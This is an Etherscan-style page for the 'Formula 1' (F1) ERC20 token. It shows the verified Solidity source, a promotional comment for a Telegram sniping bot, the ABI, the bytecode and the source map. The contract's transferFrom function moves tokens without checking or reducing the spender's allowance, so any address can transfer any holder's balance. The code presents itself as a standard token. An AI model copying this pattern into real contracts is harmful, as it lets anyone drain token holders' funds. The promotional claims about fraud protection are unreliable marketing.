Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-08-27
*/

//SPDX-License-Identifier: UNLICENSED

/*

♾ Introducing Formula One Bot, empowering investors with accurate information, it prevents fraudulent activities, enabling confident and informed investment choices.

♾ Formula Watch: Stay in the know with Formula 1's cutting-edge monitoring solution!

♾ Formula Shield: Zoom through contracts swiftly as Formula 1 Sniper deciphers intricate patterns, effortlessly spotting hidden codes used for rugs and honey-pots.

♾ Formula Sniper: Imagine having the power to buy into any new token the moment it hits the market—positioning yourself at the forefront of the action. Formula 1 Sniper is your ultimate Telegram companion, designed to bring real-time alerts for new liquidity and contracts. Don't be late to the party and just follow the call channels; become an early investor with Formula 1 Sniper, where being a frontrunner is just a click away!

Telegram: https://t.me/Formula1Portal
Twitter: https://twitter.com/Formula1BotErc
Website: https://www.Formula1Bot.com

*/

pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnershipForever(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function TransferOwnershipForever(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnershipForever(newOwner);
    }

    function _transferOwnershipForever(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Formula1 is ERC20, Ownable {
    constructor() ERC20("Formula 1", "F1") {
        _mint(msg.sender, 100000000 * 10 ** decimals());
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"TransferOwnershipForever","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

0x608060405234801562000010575f80fd5b5060405180604001604052806009815260200168466f726d756c61203160b81b81525060405180604001604052806002815260200161463160f01b81525081600390816200005f919062000273565b5060046200006e828262000273565b5050506200008b62000085620000ba60201b60201c565b620000be565b620000b4336200009e6012600a6200044a565b620000ae906305f5e10062000461565b6200010f565b62000491565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166200016a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f8282546200017d91906200047b565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001fc57607f821691505b6020821081036200021b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200026e575f81815260208120601f850160051c81016020861015620002495750805b601f850160051c820191505b818110156200026a5782815560010162000255565b5050505b505050565b81516001600160401b038111156200028f576200028f620001d3565b620002a781620002a08454620001e7565b8462000221565b602080601f831160018114620002dd575f8415620002c55750858301515b5f19600386901b1c1916600185901b1785556200026a565b5f85815260208120601f198616915b828110156200030d57888601518255948401946001909101908401620002ec565b50858210156200032b57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200038f57815f19048211156200037357620003736200033b565b808516156200038157918102915b93841c939080029062000354565b509250929050565b5f82620003a75750600162000444565b81620003b557505f62000444565b8160018114620003ce5760028114620003d957620003f9565b600191505062000444565b60ff841115620003ed57620003ed6200033b565b50506001821b62000444565b5060208310610133831016604e8410600b84101617156200041e575081810a62000444565b6200042a83836200034f565b805f19048211156200044057620004406200033b565b0290505b92915050565b5f6200045a60ff84168362000397565b9392505050565b80820281158282048414176200044457620004446200033b565b808201808211156200044457620004446200033b565b610810806200049f5f395ff3fe608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806367e87cb81161006e57806367e87cb81461011f57806370a08231146101345780638da5cb5b1461015c57806395d89b4114610177578063a9059cbb1461017f578063dd62ed3e14610192575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101ca565b6040516100bf919061068a565b60405180910390f35b6100db6100d63660046106f0565b61025a565b60405190151581526020016100bf565b6002545b6040519081526020016100bf565b6100db61010b366004610718565b610271565b604051601281526020016100bf565b61013261012d366004610751565b61027d565b005b6100ef610142366004610751565b6001600160a01b03165f9081526020819052604090205490565b6005546040516001600160a01b0390911681526020016100bf565b6100b26102fb565b6100db61018d3660046106f0565b61030a565b6100ef6101a0366004610771565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101d9906107a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610205906107a2565b80156102505780601f1061022757610100808354040283529160200191610250565b820191905f5260205f20905b81548152906001019060200180831161023357829003601f168201915b5050505050905090565b5f33610267818585610317565b5060019392505050565b5f61026784848461043a565b6102856105dd565b6001600160a01b0381166102ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6102f881610639565b50565b6060600480546101d9906107a2565b5f3361026781858561043a565b6001600160a01b0383166103795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e6565b6001600160a01b0382166103da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e6565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661049e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e6565b6001600160a01b0382166105005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e6565b6001600160a01b0383165f90815260208190526040902054818110156105775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e6565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b6005546001600160a01b031633146106375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102e6565b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f6020808352835180828501525f5b818110156106b557858101830151858201604001528201610699565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146106eb575f80fd5b919050565b5f8060408385031215610701575f80fd5b61070a836106d5565b946020939093013593505050565b5f805f6060848603121561072a575f80fd5b610733846106d5565b9250610741602085016106d5565b9150604084013590509250925092565b5f60208284031215610761575f80fd5b61076a826106d5565b9392505050565b5f8060408385031215610782575f80fd5b61078b836106d5565b9150610799602084016106d5565b90509250929050565b600181811c908216806107b657607f821691505b6020821081036107d457634e487b7160e01b5f52602260045260245ffd5b5091905056fea2646970667358221220c27cfe949c31ff383cdb6d49b650a02583c0b9d056e9bc2ac2ff4e15909250c564736f6c63430008150033

0x608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806367e87cb81161006e57806367e87cb81461011f57806370a08231146101345780638da5cb5b1461015c57806395d89b4114610177578063a9059cbb1461017f578063dd62ed3e14610192575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101ca565b6040516100bf919061068a565b60405180910390f35b6100db6100d63660046106f0565b61025a565b60405190151581526020016100bf565b6002545b6040519081526020016100bf565b6100db61010b366004610718565b610271565b604051601281526020016100bf565b61013261012d366004610751565b61027d565b005b6100ef610142366004610751565b6001600160a01b03165f9081526020819052604090205490565b6005546040516001600160a01b0390911681526020016100bf565b6100b26102fb565b6100db61018d3660046106f0565b61030a565b6100ef6101a0366004610771565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101d9906107a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610205906107a2565b80156102505780601f1061022757610100808354040283529160200191610250565b820191905f5260205f20905b81548152906001019060200180831161023357829003601f168201915b5050505050905090565b5f33610267818585610317565b5060019392505050565b5f61026784848461043a565b6102856105dd565b6001600160a01b0381166102ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6102f881610639565b50565b6060600480546101d9906107a2565b5f3361026781858561043a565b6001600160a01b0383166103795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e6565b6001600160a01b0382166103da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e6565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661049e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e6565b6001600160a01b0382166105005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e6565b6001600160a01b0383165f90815260208190526040902054818110156105775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e6565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b6005546001600160a01b031633146106375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102e6565b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f6020808352835180828501525f5b818110156106b557858101830151858201604001528201610699565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146106eb575f80fd5b919050565b5f8060408385031215610701575f80fd5b61070a836106d5565b946020939093013593505050565b5f805f6060848603121561072a575f80fd5b610733846106d5565b9250610741602085016106d5565b9150604084013590509250925092565b5f60208284031215610761575f80fd5b61076a826106d5565b9392505050565b5f8060408385031215610782575f80fd5b61078b836106d5565b9150610799602084016106d5565b90509250929050565b600181811c908216806107b657607f821691505b6020821081036107d457634e487b7160e01b5f52602260045260245ffd5b5091905056fea2646970667358221220c27cfe949c31ff383cdb6d49b650a02583c0b9d056e9bc2ac2ff4e15909250c564736f6c63430008150033

6347:151:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3589:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4521:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4521:201:0;1004:187:1;3910:108:0;3998:12;;3910:108;;;1342:25:1;;;1330:2;1315:18;3910:108:0;1196:177:1;4730:205:0;;;;;;:::i;:::-;;:::i;3809:93::-;;;3892:2;1853:36:1;;1841:2;1826:18;3809:93:0;1711:184:1;1876:215:0;;;;;;:::i;:::-;;:::i;:::-;;4026:127;;;;;;:::i;:::-;-1:-1:-1;;;;;4127:18:0;4100:7;4127:18;;;;;;;;;;;;4026:127;1641:87;1714:6;;1641:87;;-1:-1:-1;;;;;1714:6:0;;;2237:51:1;;2225:2;2210:18;1641:87:0;2091:203:1;3697:104:0;;;:::i;4161:193::-;;;;;;:::i;:::-;;:::i;4362:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4478:18:0;;;4451:7;4478:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4362:151;3589:100;3643:13;3676:5;3669:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3589:100;:::o;4521:201::-;4604:4;1187:10;4660:32;1187:10;4676:7;4685:6;4660:8;:32::i;:::-;-1:-1:-1;4710:4:0;;4521:201;-1:-1:-1;;;4521:201:0:o;4730:205::-;4861:4;4878:27;4888:4;4894:2;4898:6;4878:9;:27::i;1876:215::-;1600:13;:11;:13::i;:::-;-1:-1:-1;;;;;1972:22:0;::::1;1964:73;;;::::0;-1:-1:-1;;;1964:73:0;;3151:2:1;1964:73:0::1;::::0;::::1;3133:21:1::0;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:36;3326:19;;1964:73:0::1;;;;;;;;;2048:35;2074:8;2048:25;:35::i;:::-;1876:215:::0;:::o;3697:104::-;3753:13;3786:7;3779:14;;;;;:::i;4161:193::-;4240:4;1187:10;4296:28;1187:10;4313:2;4317:6;4296:9;:28::i;5960:380::-;-1:-1:-1;;;;;6096:19:0;;6088:68;;;;-1:-1:-1;;;6088:68:0;;3558:2:1;6088:68:0;;;3540:21:1;3597:2;3577:18;;;3570:30;3636:34;3616:18;;;3609:62;-1:-1:-1;;;3687:18:1;;;3680:34;3731:19;;6088:68:0;3356:400:1;6088:68:0;-1:-1:-1;;;;;6175:21:0;;6167:68;;;;-1:-1:-1;;;6167:68:0;;3963:2:1;6167:68:0;;;3945:21:1;4002:2;3982:18;;;3975:30;4041:34;4021:18;;;4014:62;-1:-1:-1;;;4092:18:1;;;4085:32;4134:19;;6167:68:0;3761:398:1;6167:68:0;-1:-1:-1;;;;;6248:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6300:32;;1342:25:1;;;6300:32:0;;1315:18:1;6300:32:0;;;;;;;5960:380;;;:::o;4943:576::-;-1:-1:-1;;;;;5074:18:0;;5066:68;;;;-1:-1:-1;;;5066:68:0;;4366:2:1;5066:68:0;;;4348:21:1;4405:2;4385:18;;;4378:30;4444:34;4424:18;;;4417:62;-1:-1:-1;;;4495:18:1;;;4488:35;4540:19;;5066:68:0;4164:401:1;5066:68:0;-1:-1:-1;;;;;5153:16:0;;5145:64;;;;-1:-1:-1;;;5145:64:0;;4772:2:1;5145:64:0;;;4754:21:1;4811:2;4791:18;;;4784:30;4850:34;4830:18;;;4823:62;-1:-1:-1;;;4901:18:1;;;4894:33;4944:19;;5145:64:0;4570:399:1;5145:64:0;-1:-1:-1;;;;;5244:15:0;;5222:19;5244:15;;;;;;;;;;;5278:21;;;;5270:72;;;;-1:-1:-1;;;5270:72:0;;5176:2:1;5270:72:0;;;5158:21:1;5215:2;5195:18;;;5188:30;5254:34;5234:18;;;5227:62;-1:-1:-1;;;5305:18:1;;;5298:36;5351:19;;5270:72:0;4974:402:1;5270:72:0;-1:-1:-1;;;;;5378:15:0;;;:9;:15;;;;;;;;;;;5396:20;;;5378:38;;5431:13;;;;;;;;;;:23;;;;;;5483:26;;1342:25:1;;;5431:13:0;;5483:26;;1315:18:1;5483:26:0;;;;;;;5055:464;4943:576;;;:::o;1736:132::-;1714:6;;-1:-1:-1;;;;;1714:6:0;1187:10;1800:23;1792:68;;;;-1:-1:-1;;;1792:68:0;;5583:2:1;1792:68:0;;;5565:21:1;;;5602:18;;;5595:30;5661:34;5641:18;;;5634:62;5713:18;;1792:68:0;5381:356:1;1792:68:0;1736:132::o;2099:198::-;2199:6;;;-1:-1:-1;;;;;2216:17:0;;;-1:-1:-1;;;;;;2216:17:0;;;;;;;2249:40;;2199:6;;;2216:17;2199:6;;2249:40;;2180:16;;2249:40;2169:128;2099:198;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o

ipfs://c27cfe949c31ff383cdb6d49b650a02583c0b9d056e9bc2ac2ff4e15909250c5